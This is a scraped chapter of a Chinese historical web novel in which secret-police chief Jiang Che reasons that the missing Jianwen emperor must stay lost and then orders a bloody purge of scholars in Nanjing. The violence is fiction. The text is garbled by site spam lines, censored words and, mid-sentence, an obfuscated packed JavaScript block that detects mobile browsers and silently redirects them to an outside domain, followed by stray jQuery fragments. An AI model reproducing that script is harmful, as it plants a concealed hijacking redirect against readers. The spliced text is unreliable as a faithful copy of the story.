“那好。”
江澈盯着他的眼睛:“我们把他找出来,然后呢?当着天下人的面,杀了他?”
“陛下登基,靠的是清君侧,如今他坐了龙椅,再杀掉那个君,他成什么了?弑君篡位的乱臣贼子?”
“天下悠悠众口,堵得住吗?那些前朝的腐儒,会怎么在史书上写陛下?”
周悍的额头,开始渗出冷汗。
他从未从这个角度想过问题。
“那……那就秘密处决,上报他病亡……”
“你当天下人都是傻子?”
江澈冷笑一声:“一个失踪的人,我们一找到,他就病亡了?谁信?”
“这件事,只会成为陛下永远洗刷不掉的污点,成为那些心怀叵测之人,日后**的最好借口!”
周悍的脸色,已经变得有些苍白。
他感觉自己像个孩童,在江澈面前,想法幼稚得可笑。
“那把他抓回来,圈禁终生?”
“更蠢!”
江澈毫不客气地评价道。
“一个活着的朱允炆,就是一面活着的反旗!只要他还活着,那些建文余孽就永远不会死心!今天平了一波,明天又冒出来一波,你杀得完吗?”
“到时候,陛下是杀也不是,不杀也不是,留着他,就是给自己留了一个天大的祸患!”
周悍的身体开始微微颤抖,他似乎明白了什么,但又不敢相信。
“所以……”
他艰难地开口,声音干涩。
“所以,对陛下而言,最好的朱允炆,就是一个下落不明,生死不知的朱允炆。”
江澈替他说完了后半句。
“他可以是个传说,可以是个鬼魂,可以成为那些前朝余孽的虚幻念想,但他绝不能是一个活生生的人,出现在我们面前。”
“他活着,是麻烦,他死在我们手里,是更大的麻烦。”
“只有他失踪,永远地失踪下去,才是对陛下的江山,最有利的局面。”
“我们暗卫司的职责,不是把他找出来,而是要确保,他永远不会被任何人找出来!”
说到最后一句,江澈的眼神变得锐利如刀。
周悍如遭雷击,呆立当场。
之前所有的兴奋、功劳、前途,在这一刻,全都变成了催命符。
他现在才明白,自己兴冲冲跑来报告的,根本不是什么功劳。
而是一把足以将整个暗卫司,连同他自己,都烧成灰烬的滔天大火!
如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦
他以为自己在为陛下效忠。
实际上他差点就把自家司主架在火上烤!
若是今天他绕过了江澈把这消息捅到了陛下面前……
周悍不敢再想下去后背的衣衫瞬间被冷汗湿透。
周悍双腿一软单膝跪了下去头颅深深垂下。
“头儿……属下明白了!”
“属下愚钝险些酿成大祸!谢头儿救命之恩!”
江澈看着他眼神重新归于平静。
“起来吧。”
“记住有时候知道得太多比什么都不知道死得更快。”
“从现在起你的任务不是找人。”
他转身走回书案抽出了一张空白的宣纸铺开。
“帮我写一份名单。”
“一份让很多人从这世上消失的名单。”
江澈的声音很平听不出任何情绪。
“就从方孝孺开始。”
他拿起狼毫在墨砚里饱蘸浓墨却没有下笔。
那支笔悬在宣纸之上墨汁欲滴未滴如同悬在无数人头顶的铡刀。
“株连十族太招摇也太蠢。”
江澈淡淡开口仿佛在评判一道菜的味道。
“陛下要的是震慑不是把自己变成一个嗜杀的疯子。”
周悍跪在地上大气不敢出静静聆听。
“所以名单要精准。”
“方孝孺的门生故旧
“还有那些在建文朝跳得最欢天天把忠君爱国挂在嘴边的腐儒也都算上。”
“他们不是喜欢用笔杆子**吗?那就让他们尝尝刀子是不是比笔锋更快。”
江澈的每一句话都让周悍的心里一颤。
他以为司主只是想让他清洗与朱允炆有关的人。
可现在他才明白江澈要的是一场针对整个士林的血腥大清洗!
这……这得杀多少人?
周悍的指尖开始发冷。
“头儿这么做……会不会……”
“会什么?”
江澈终于落笔在雪白的宣纸上写下了一个血淋淋的“杀”字。
笔锋凌厉墨迹如血。
“会不会动摇国本?会不会让天下读书人离心离德?”
他轻笑一声笑声里带着刺骨
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16275717|182399||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的寒意。
“周悍你要记住。我们是暗卫司存在的目的就是**替陛下**而不是去思考会不
你的朋友正在书荒,快去帮帮他吧
会让被砍的人不高兴。”
“陛下刚刚坐上龙椅,根基未稳。那些自诩忠义的读书人,就是最大的隐患。”
“他们的笔,比十万大军更可怕,不把他们杀怕了,杀绝了,这天下,就永远安稳不了。”
“至于陛下的名声……”
江澈将笔搁下,用指尖轻轻摩挲着那个“杀”字。
“骂名,我来背,功劳,陛下来享。”
“一个让文官集团闻风丧胆的酷吏,一个屠戮士子的刽子手。”
“这样的我,才能让陛下安心地把我放到北平去。”
周悍猛然抬头,瞳孔收缩。
北平?
那可是陛下的龙兴之地,是大明朝的北方门户!
司主要去北平?
他瞬间明白了。
这一切,都是一场精心策划的表演。
一场演给新皇朱棣看的血腥大戏。
江澈,要用成百上千颗人头,为自己铺就一条通往北平的血路!
“属下……明白了!”
周悍重重叩首,额头贴着冰冷的地面。
再抬起头时,他眼中的恐惧和犹豫已经消失不见。
“属下这就去办!”
周悍拿着那张写着“杀”字的宣纸,**着走出房间。
……
接下来的三日,南京城的天,是血色的。
暗卫司的缇骑如同一群黑色的幽灵。
在夜幕的掩护下,穿梭于金陵城的每一个角落。
没有鸣锣开道,没有当街抓捕。
只有一扇扇被悄无声息推开的门,和一声声被死死捂住的惨叫。
第二天清晨,当人们推开家门。
总会发现某条巷子的石板上,多了一滩尚未干涸的暗红色血迹。
平日里最高谈阔论的茶馆,变得鸦雀无声。
往日里最爱指点江山的士子,一个个闭门不出,噤若寒蝉。
一股无形的恐惧,像瘟疫一样,在南京城里蔓延。
没人知道谁是下一个。
也没人知道,这把悬在头顶的屠刀,何时会落下。
他们只知道,那个叫江澈的名字,成了比地府阎罗更可怕的禁忌。